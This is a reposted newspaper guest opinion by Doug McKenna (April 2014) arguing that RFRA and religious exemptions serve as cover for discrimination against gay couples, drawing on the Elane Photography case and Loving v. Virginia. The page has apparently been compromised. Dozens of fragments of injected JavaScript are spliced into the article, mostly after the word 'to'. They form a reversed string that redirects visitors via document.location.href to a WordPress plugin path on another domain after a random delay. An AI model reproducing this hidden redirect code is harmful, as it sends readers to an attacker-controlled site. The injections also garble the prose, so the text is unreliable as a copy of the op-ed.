Religion as a Cloak for Discrimination – Boulder Daily Camera

“Great op-Ed on what’s at stake with state RFRA, businesses, and homosexuals.” – Professor Marci Hamiltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton

BY DOUG MCKENNA (Daily Camera Guest Opinion)

Posted April 9, 2014

 

Charlie Danaher’s op-ed (March 30) —about businesses and their owners allegedly being forced toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sin — suffered from some misunderstandings about liberty, discrimination, and religion.

The First Amendment right toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to believe or espouse anything one wants without government interference is, of course, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be cherished. As Thomas Jefferson said, “It does me no injury for my neighbor toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say there are 20 gods, or no god. It neither picks my pocket nor breaks my leg.”

But when pockets are picked and legs broken, the First Amendment is not carte blanche toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to conduct oneself in violation of other people’s rights. There is rock-solid American jurisprudence, going back over a century, holding that when government accommodates religion that accommodation violates the First Amendment when specific third parties are harmed.

Adding fat toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the fire, the abhorrent statute on which Danaher pins his hopes, the federal Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act (RFRA), essentially gives religious people and their institutions the ability toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to violate neutral laws that the rest of us must abide by.

The RFRA is considered by many legal scholars toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be flat-out unconstitutional, in violation of both the Establishment Clause and the Separation of Powers (see http://rfraperils.com).

The Hobby Lobby case — asserting that for-profit corporations are religious persons — is relying upon the RFRA. We will all, including religious people, be better off when the RFRA is struck down and/or Hobby Lobby loses.

But Danaher’s primary error was his assumption that gay or lesbian couples suffer no harm when public accommodations such as wedding-related businesses collectively discriminate against them, in violation of a statute that protects gay people(and a few other classes) from such conduct in the public marketplace.

To the contrary, harm is invariably caused by acting upon odious religious tenets based on antiquated, metaphorical, non-scientific notions that are out-of-sync with demonstrable reality.

The world is not flat, the sun does not revolve around the Earth, conception is not magical, and it turns out there is a biological diversity toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to gender identity among monogamous couples that has nothing whatsoever toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do with “sin” and everything toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do with commitment and love.

The world Danaher desires would be an unjust, Balkanized world, where, for instance, any stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torekeeper on the Pearl Street Mall could refuse toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do business with any person wearing a Christian cross around her neck. That is a debased world we’ve seen in the recent past, and it’s really, really not pretty. Indeed, it is a world at odds with religious freedom.

Suffering from self-created cognitive dissonance between reality and dogma, the Catholic church and other conservative religious organizations love toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to play the persecution card. This is no different from how some religious folk in the past complained about mixed-race weddings being an affront toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Christian religious tenets.

Back in the 1960s, when a Virginia judge ruled against the Lovings, a mixed-race couple threatened with 25 years in jail, he toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too was guided by his dogmatic biblical views, writing:

“Almighty God created the races white, black, yellow, malay and red, and he placed them on separate continents. And but for the interference with this arrangement there would be no cause for such marriages. The fact that He separated the races shows that He did not intend for the races toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mix.”

In short, he considered miscegenation a sin (dark skin being the mark of Cain, and all that metaphorical nonsense). But the U.S. Supreme Court eventually overturned this religious non-reasoning as violating neutral Equal Protection guarantees.

Simply replace race with sexual orientation, and you’ve advanced the clock a half-century. And hip-hip-hooray!, we are now in a very similar time of progress with respect toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to treating gays and lesbians equitably under the law.

Much of Danaher’s argument was based on the seven-year-old Elane Photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tography case out of New Mexico. He was hoping that the U.S. Supreme Court would take the case and reverse three lower state courts that unanimously ruled that that business violated state anti-discrimination law.

But the Supreme Court has now properly refused toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hear any final appeal at which so many religious narcissists, imagining they are defending freedom, have been grasping.

Anyone interested in this issue should read the New Mexico Supreme Court’s decision, especially its special concurrence (search the web for “Elane Bosson concurrence”). Reciting the legal histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of irrational discrimination, and channeling Thomas Jefferson, Justice Bosson wrote:

“In a constitutional form of government, personal, religious, and moral beliefs, when acted upon toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the detriment of someone else’s rights, have constitutional limits. One is free toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to believe, think and speak as one’s conscience, or God, dictates. But when actions, even religiously inspired, conflict with other constitutionally protected rights–[such as] the right toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be free from invidious […] discrimination–then there must be some accommodation.”

Bosson then concludes, “at some point in our lives all of us must compromise, if only a little, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to accommodate the contrasting values of others. A multicultural, pluralistic society, one of our nation’s strengths, demands no less. … [I]t is the price of citizenship.”

Amen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that.

Doug McKenna lives in Boulder.

http://www.dailycamera.com/guest-opinions/ci_25524311/religion-cloak-discrimination